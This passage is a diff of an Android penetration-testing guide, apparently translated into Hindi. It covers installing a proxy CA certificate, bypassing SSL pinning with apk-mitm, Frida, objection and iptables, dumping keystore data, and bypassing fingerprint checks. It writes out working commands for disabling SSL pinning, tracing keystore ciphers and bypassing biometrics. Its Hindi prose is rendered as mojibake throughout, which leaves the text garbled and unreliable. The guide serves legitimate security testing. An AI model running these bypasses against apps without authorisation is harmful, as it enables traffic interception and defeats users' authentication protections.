рдЖрд╡рд╢реНрдпрдХ рд╣реИ** (рдЬреИрд╕реЗ, Burp)ред рдЗрд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛, рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреНрд░реИрдлрд╝рд┐рдХ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдХрд╕реНрдЯрдо CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЧрд╛рдЗрдб рдХреЗ рд▓рд┐рдП, [**рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)ред +HTTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, **рдкреНрд░реЙрдХреНрд╕реА рдЯреВрд▓ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ** (рдЬреИрд╕реЗ, Burp)ред рдЗрд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛, рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреНрд░реИрдлрд╝рд┐рдХ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗ рд╕рдХрддрд╛ред рдХрд╕реНрдЯрдо CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЧрд╛рдЗрдб рдХреЗ рд▓рд┐рдП, [**рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)ред -**API рд╕реНрддрд░ 24 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░** рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрджрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, [**рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓**](make-apk-accept-ca-certificate.md) рдХреЛ рджреЗрдЦреЗрдВред +**API рд╕реНрддрд░ 24 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░** рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрджрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, [**рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓**](make-apk-accept-ca-certificate.md) рдХреЛ рджреЗрдЦреЗрдВред #### SSL рдкрд┐рдирд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЬрдм SSL рдкрд┐рдирд┐рдВрдЧ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ, рддреЛ HTTPS рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпрд╛рдБ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: -- рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ** **apk** рдХреЛ **SSL рдкрд┐рдирд┐рдВрдЧ рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) рдХреЗ рд╕рд╛рдеред рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рд╕рдмрд╕реЗ рдмрдбрд╝рд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ SSL рдкрд┐рдирд┐рдВрдЧ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░реВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╣рдЯрд╛рдирд╛ рдФрд░ рдирдП рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдпрд╣ рд╣рдореЗрд╢рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред +- рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ** **apk** рдХреЛ **SSL рдкрд┐рдирд┐рдВрдЧ рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) рдХреЗ рд╕рд╛рдеред рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рд╕рдмрд╕реЗ рдмрдбрд╝рд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ SSL рдкрд┐рдирд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░реВрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрдЧреА, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╣рдЯрд╛рдирд╛ рдФрд░ рдирдП рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдпрд╣ рд╣рдореЗрд╢рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред - рдЖрдк рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Frida** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдиреАрдЪреЗ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ)ред рдпрд╣рд╛рдБ Burp+Frida+Genymotion рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЧрд╛рдЗрдб рд╣реИ: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- рдЖрдк **objection** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ SSL рдкрд┐рдирд┐рдВрдЧ рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- рдЖрдк **MobSF рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ SSL рдкрд┐рдирд┐рдВрдЧ рдмрд╛рдпрдкрд╛рд╕** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдиреАрдЪреЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛) +- рдЖрдк **SSL рдкрд┐рдирд┐рдВрдЧ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- рдЖрдк **MobSF рдбрд╛рдпрдиреЗрдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **SSL рдкрд┐рдирд┐рдВрдЧ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдиреАрдЪреЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛) - рдпрджрд┐ рдЖрдк рдЕрднреА рднреА рд╕реЛрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдХреБрдЫ рдЯреНрд░реИрдлрд╝рд┐рдХ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк **iptables рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ burp рдкрд░ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдмреНрд▓реЙрдЧ рдХреЛ рдкрдврд╝реЗрдВ: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ -рдпрд╣ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЖрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВред рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╢рдорди рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рд╕рд╛рд░рд╛рдВрд╢ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдкрд░реЗ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдЕрдиреНрдпрддреНрд░ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдХрд╡рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдпрд╣ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЖрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рднреАрддрд░ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВред рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╢рдорди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рд╕рд╛рд░рд╛рдВрд╢ рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдкрд░реЗ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдЕрдиреНрдпрддреНрд░ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдХрд╡рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред ### Frida -[Frida](https://www.frida.re) рдбреЗрд╡рд▓рдкрд░реНрд╕, рд░рд┐рд╡рд░реНрд╕-рдЗрдВрдЬреАрдирд┐рдпрд░реНрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд╛рдпрдирд╛рдорд┐рдХ рдЗрдВрд╕реНрдЯреНрд░реБрдореЗрдВрдЯреЗрд╢рди рдЯреВрд▓рдХрд┐рдЯ рд╣реИред\ -**рдЖрдк рдЪрд▓ рд░рд╣реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд░рди рдЯрд╛рдЗрдо рдкрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╣реБрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдмрджрд▓ рд╕рдХреЗрдВ, рдорд╛рди рдмрджрд▓ рд╕рдХреЗрдВ, рдорд╛рди рдирд┐рдХрд╛рд▓ рд╕рдХреЗрдВ, рд╡рд┐рднрд┐рдиреНрди рдХреЛрдб рдЪрд▓рд╛ рд╕рдХреЗрдВ...**\ +[Frida](https://www.frida.re) рдбреЗрд╡рд▓рдкрд░реНрд╕, рд░рд┐рд╡рд░реНрд╕-рдЗрдВрдЬреАрдирд┐рдпрд░реНрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд╛рдпрдиреЗрдорд┐рдХ рдЗрдВрд╕реНрдЯреНрд░реБрдореЗрдВрдЯреЗрд╢рди рдЯреВрд▓рдХрд┐рдЯ рд╣реИред\ +**рдЖрдк рдЪрд▓ рд░рд╣реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд░рди рдЯрд╛рдЗрдо рдкрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╣реБрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдмрджрд▓ рд╕рдХреЗрдВ, рдорд╛рди рдмрджрд▓ рд╕рдХреЗрдВ, рдорд╛рди рдирд┐рдХрд╛рд▓ рд╕рдХреЗрдВ, рд╡рд┐рднрд┐рдиреНрди рдХреЛрдб рдЪрд▓рд╛ рд╕рдХреЗрдВ...**\ рдпрджрд┐ рдЖрдк Android рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ Frida рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕реАрдЦрдирд╛ рд╣реЛрдЧрд╛ред - Frida рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ: [**Frida рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓**](frida-tutorial/index.html) @@ -452,9 +452,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** -Android рдореЗрдВ Keystore рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕реНрдерд╛рди рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдЗрд╕реЗ **рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ**ред рдЪреВрдВрдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣рд╛рдБ **рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреА рдкреНрд░рд╡реГрддреНрддрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП pentests рдХреЛ рдЗрд╕реЗ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рднреМрддрд┐рдХ рдкрд╣реБрдВрдЪ рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИред +Android рдореЗрдВ Keystore рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕реНрдерд╛рди рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЗрд╕реЗ **рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ**ред рдЪреВрдВрдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣рд╛рдБ **рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреА рдкреНрд░рд╡реГрддреНрддрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХреЛ рдЗрд╕реЗ рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА рдРрд╕реЗ рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд╕рд╛рде рдЬреЛ рдбрд┐рд╡рд╛рдЗрд╕ рддрдХ рднреМрддрд┐рдХ рдкрд╣реБрдВрдЪ рд░рдЦрддрд╛ рд╣реЛ, рдпрд╣ рдбреЗрдЯрд╛ рдЪреБрд░рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЕрдЧрд░ рдПрдХ рдРрдк рдиреЗ keystore рдореЗрдВ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдпрджрд┐ рдПрдХ рдРрдк рдиреЗ keystore рдореЗрдВ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред Keystore рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕ Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -462,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ Android рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреА **рд╕реБрд░рдХреНрд╖рд╛** рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ Android рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **рдкреГрд╖реНрдарднреВрдорд┐ рдЫрд╡рд┐рдпрд╛рдБ** -рдЬрдм рдЖрдк рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдкреГрд╖реНрдарднреВрдорд┐ рдореЗрдВ рд░рдЦрддреЗ рд╣реИрдВ, рддреЛ Android **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╕реНрдиреИрдкрд╢реЙрдЯ** рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рдЗрд╕реЗ рдЕрдЧреНрд░рднреВрдорд┐ рдореЗрдВ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗ, рдЬрд┐рд╕рд╕реЗ рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддреЗрдЬреА рд╕реЗ рд▓реЛрдб рд╣реБрдЖ рд╣реИред +рдЬрдм рдЖрдк рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдкреГрд╖реНрдарднреВрдорд┐ рдореЗрдВ рдбрд╛рд▓рддреЗ рд╣реИрдВ, рддреЛ Android **рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рд╕реНрдиреИрдкрд╢реЙрдЯ** рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЬрдм рдЗрд╕реЗ рдЕрдЧреНрд░рднреВрдорд┐ рдореЗрдВ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рддреЛ рдпрд╣ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рдирд╛ рд╢реБрд░реВ 